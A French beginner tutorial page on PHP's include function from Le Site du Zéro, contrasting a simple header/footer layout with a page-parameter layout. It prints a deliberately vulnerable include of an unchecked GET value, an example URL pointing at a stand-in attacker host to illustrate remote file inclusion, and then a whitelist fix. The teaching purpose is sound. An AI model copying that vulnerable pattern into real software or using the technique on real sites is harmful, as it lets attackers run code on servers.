Aller au menu - Aller au contenu

[Plan du site] Vous êtes ici --- > Le Site du Zéro > Les tutoriels > Officiels > Site Web > Un site dynamique avec PHP ! > Toute la puissance de PHP > Les includes > Lecture du tutoriel

Les includes

Avatar
Auteur : M@teo21
Note : 18 / 20 (27 votes)
Visualisations : 304 018

Plus d'informations Plus d'informations
Tout d'abord, bienvenue dans la partie III :D
Comme son nom l'indique, la partie III sera sans aucun doute la plus riche de toutes. Par ailleurs, elle ne comporte aucune difficulté particulière, ce qui fait que si vous avez bien suivi jusque là, vous allez pouvoir apprécier pleinement tout ce que j'ai encore à vous apprendre sur PHP.

On commence la partie III par un chapitre Ô combien important en PHP : nous allons parler d'includes. Derrière ce nom barbare, vous allez le voir, se cache une des fonctions PHP les plus utilisées.
Je vous le garantis, après lecture de ce chapitre votre site va vraiment changer de visage ! :pirate:
Sommaire du chapitre :
Icône du chapitre
Chapitre précédent Sommaire Chapitre suivant

La fonction include

Nous n'allons parler que d'une seule fonction : include. Elle est très simple d'emploi et fréquemment utilisée car très puissante.

Que fait cette fonction ?

Elle permet d'inclure le contenu d'une page PHP dans une autre page PHP.
Et c'est très utile ! Concrètement, supposons que sur votre site web il y ait un menu à gauche. Ce menu est affiché sur toutes les pages de votre site.
Jusqu'ici, vous deviez copier-coller ce menu dans toutes les pages, et si vous deviez modifier le menu eh bien il fallait modifier toutes les pages !

Grâce à l'include, vous dites à PHP sur chacune de vos pages : "Mets ici le contenu de la page menu.php". PHP va alors "prendre" le contenu de la page menu.php et le mettre là où vous lui avez dit.
Ainsi, si vous voulez modifier votre menu, vous modifiez juste menu.php et toutes les pages de votre site web sont automatiquement mises à jour ! C'est vraiment quelque chose de génial, et pour tout vous dire c'est en découvrant ça que j'ai décidé de me mettre au PHP ;)

Voici comment on fait pour inclure la page menu.php :

Code : PHP
1
2
3
<?php
include("menu.php");
?>


C'est un code tout simple. PHP voit l'instruction include, il va aller chercher la page menu.php et la mettre à la place de cette instruction.

Un exemple concret ? N'allez pas chercher bien loin, regardez ce site web. Oui oui, le Site du Zér0 utilise beaucoup les includes. Voici le sommaire du cours de PHP (page index.php) :

Includes


La page index.php contient 2 includes : haut.php (pour le logo, la pub...) et menu.php (le menu du Site du Zér0). Vient ensuite le contenu proprement dit de index.php, c'est-à-dire le sommaire du cours de PHP. Le code PHP de index.php ressemble donc à cela :

Code : PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<div id="haut">
    <?php
    // On inclut le haut de la page
    include("haut.php");
    ?>
</div>
 
<div id="menu">
<?php
// Puis on inclut le menu
include("menu.php");
?>
</div>
 
 
<?php
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>
 
<h1>
    <img src="images/elephpant.gif" alt="ElePHPant" /> Un site dynamique avec PHP ! <img src="images/elephpant.gif" alt="ElePHPant" />
</h1>
 
<div class="question">
    Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?<br />
    Et pis, c'est quoi PHP ???
</div>
 
<p>Hola hola, pas de panique amis Zér0s, ce tutoriel est là pour tout vous expliquer :o)...</p>

On a en premier les 2 includes (haut.php et menu.php), et après on a mis le code de notre page. Toutes les pages du site fonctionnent comme ça !

Vous remarquerez que j'utilise des calques (balise <div>) pour la présentation, mais vous faites comme vous voulez. Bien entendu, pour placer ces calques dans la page (menu à gauche, en-tête en haut etc...) j'utilise une feuille de style CSS.
Si vous ne savez pas faire une mise en page (un design) de votre site web, je vous recommande d'aller lire le tutoriel (x)HTML disponible sur ce site qui vous explique comment vous servir des balises <div> et comment les positionner pour construire votre design.

Au fait, on peut sans problème mettre du code PHP dans les pages haut.php et menu.php :)

Bien, et si nous passions à la pratique ?
On veut par exemple afficher le titre de notre site en haut de toutes les pages. On va créer une page titre.php, qui sera incluse dans toutes les pages. On va aussi créer une page test.php pour tester l'inclusion.

On va mettre dans titre.php ce qu'on veut (HTML, PHP etc...). Pour ma part je fais simple, j'écris juste le nom du site :

Code : HTML
1
<h2>Le Site du Zér0</h2>

La page test.php est une page d'exemple de notre site. Toutes les pages du site ressembleront à celle-ci :

Code : PHP
1
2
3
4
5
6
7
<?php include("titre.php"); ?>
 
<p>
    Ceci est une page d'exemple de notre site web.<br />
    Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
    Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>


On teste ce code ? Le bouton ci-dessous va ouvrir test.php :


Faites pareil chez vous, vous allez voir que c'est très facile à faire !

Un petit schéma pour résumer :

Image utilisateur


Ce schéma, bien que très moche car fait par moi, illustre bien ce qu'il se passe. Lorsque l'internaute demande à voir test.php, l'instruction include est remplacée par le contenu de titre.php.
Ce qui fait qu'à la fin, la page que l'internaute chargera contiendra ce code :

Code : HTML
1
2
3
4
5
6
7
<h2>Le Site du Zér0</h2>
    
<p>
    Ceci est une page d'exemple de notre site web.<br />
    Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
    Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>

C'est très facile à comprendre, avouez ;)

Voilà, en théorie vous savez tout ce qu'il y a à savoir mais... je ne vais pas vous abandonner là, je ne suis pas comme ça :p
En effet, nous allons voir dans une seconde partie de ce chapitre comment mettre en place concrètement des includes sur votre site web.

Bien utiliser les includes

Grosso modo, on peut considérer qu'il y a 2 méthodes pour utiliser les includes sur son site : la brutale et la dangereuse. Je suis plutôt un adepte de la méthode brutale car je préfère être sûr de ne pas laisser une porte grande ouverte aux apprentis hackers.

QUOIIIII ?!!! Que vois-je ?! Qu'entends-je ?! o_O
Je risque de me faire hacker mon site avec les includes et tu me le dis même pas ? :&#39;(

Bah non, faut pas pleurer comme ça voyons :p
J'allais justement vous en parler. Suivez avec attention tout ce que je vais vous dire.

Méthode n°1 : la brutale



On commence par ma préférée : la méthode dite "brutale" :p (bien entendu ce n'est pas un nom officiel, c'est moi qui l'appelle comme ça ;) )

Cette méthode a un avantage et un défaut :

Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes les pages web de votre site :

Code : PHP
1
2
3
4
5
6
7
8
<?php include("haut.php"); ?>
 
<p>
    Ceci est une page X de votre site.<br />
    Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.<br />
</p>
 
<?php include("bas.php"); ?>


Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web quoi... :)
Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et </html>

Méthode n°2 : la dangereuse



De la même manière que la méthode précédente, il y a un avantage et un défaut :

A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.

Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :

Code : PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
    <head>
        <title>Mon super site !</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
    
    <?php include("minichat.php"); ?>
    
    
    <p>Ce site a été écrit par Mateo21.</p>
 
    </body>
 
</html>


Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclus mon autre page cette fois ?

Pas du tout, malheureux ! :p

L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :

index.php?page=minichat

On reprend maintenant le code 3.1.7 :

Code : PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
    <head>
        <title>Mon super site !</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
        
    <?php
    $page = $_GET['page'];
    include("$page.php");
    ?>    
    
    <p>Ce site a été écrit par Mateo21.</p>
 
    </body>
 
</html>


Si l'url contient index.php?page=minichat, alors on incluera minichat.php
Si l'url contient index.php?page=news, alors on incluera news.php
Si l'url contient index.php?page=forum, alors on incluera forum.php
Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ? o_O

Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?
Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là :euh:

Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web hein ? ;)

Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi ^^ ), vous verrez que vous ferez très attention à la sécurité sur votre site.
Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP tranquillement. Vous apprendrez tout cela petit à petit :)

Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :

Code : PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
    <head>
        <title>Mon super site !</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
        
    <?php
    if ($_GET['page'] == "minichat")
    {
        include("minichat.php");
    }
    
    if ($_GET['page'] == "news")
    {
        include("news.php");
    }
    
    if ($_GET['page'] == "forum")
    {
        include("forum.php");
    }
    
    ?>
    
    <p>Ce site a été écrit par Mateo21.</p>
 
    </body>
 
</html>


Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf !
Ca implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà pourquoi je préfère (et vous conseille d'utiliser) la première méthode ! ;)

Q.C.M.

Quel instruction permet d'inclure une page en PHP ? (la réponse est dans le titre de la page !)
Comment fonctionne un include ?
A combien d'includes est-on limité ?
En quoi un include peut-il être dangereux ?

Statistiques de réponses au QCM


Voilà, vous savez tout ce qu'il y a à savoir sur les includes.
Comme vous avez pu le constater ça n'est absolument pas sorcier, et pourtant grâce à ce truc on peut déjà rendre son site bien plus agréable !
Chapitre précédent Sommaire Chapitre suivant
Retour en haut Retour en haut


Créé : le 19/07/2005 à 23:21:44
Modifié : le 08/09/2008 à 18:47:07
Avancement : 100%
Licence : Copie non autorisée

49 commentaires

Changer de design | En savoir plus | Plan du site | Politique d'accessibilité | Règles | RSS tutoriels | RSS news
Édité par Simple IT SARL : Nous contacter | Notre blog | Revue de presse | Publicité

Y'a plus rien à lire, faut remonter maintenant !

Hébergement web - Correction de tutoriels - Créer un site
Vous souhaitez apparaître ici ? Contactez-nous.

Nombre de connectés 187 Zéros connectés | Requêtes SQL 8 requêtes | Temps de génération de la page : Total (SQL) 0.0519s (0.0371s)